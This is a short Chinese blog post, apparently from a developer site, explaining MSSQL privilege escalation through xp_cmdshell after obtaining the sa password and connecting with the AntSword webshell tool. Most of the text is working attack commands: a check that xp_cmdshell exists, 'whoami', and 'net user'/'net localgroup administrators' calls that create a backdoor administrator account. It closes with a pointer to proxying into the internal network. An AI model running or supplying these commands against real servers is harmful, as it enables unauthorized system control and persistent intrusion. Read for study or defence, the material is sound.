mssql数据库提权中xp_cmdshell使用

mssql数据库提权中xp_cmdshell使用

获得sa密码后蚁剑连接数据库,可用xp_cmdshell执行系统命令
xp, extend procedure, 表示本存储过程是扩展的存储过程
cmdshell, command shell, 直接敲命令行执行

判断是否存在xp_cmdshell

select count(*)
from master.dbo.sysobjects
where
xtype='x'
and name='xp_cmdshell'

返回1证明存在xp_cmdshell

xp_cmdshell的使用

exec master..xp_cmdshell 'xxxxxx'     里面输入任意cmd命令便可执行

其中, master表示此存储过程在系统数据库master里

查看权限

exec master..xp_cmdshell 'whoami'

创建test用户并加入管理员组

exec master..xp_cmdshell 'net user test password /add'
exec master..xp_cmdshell 'net localgroup administrators test /add'

接着添加内网代理后进行远程连接内网数据库服务器

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值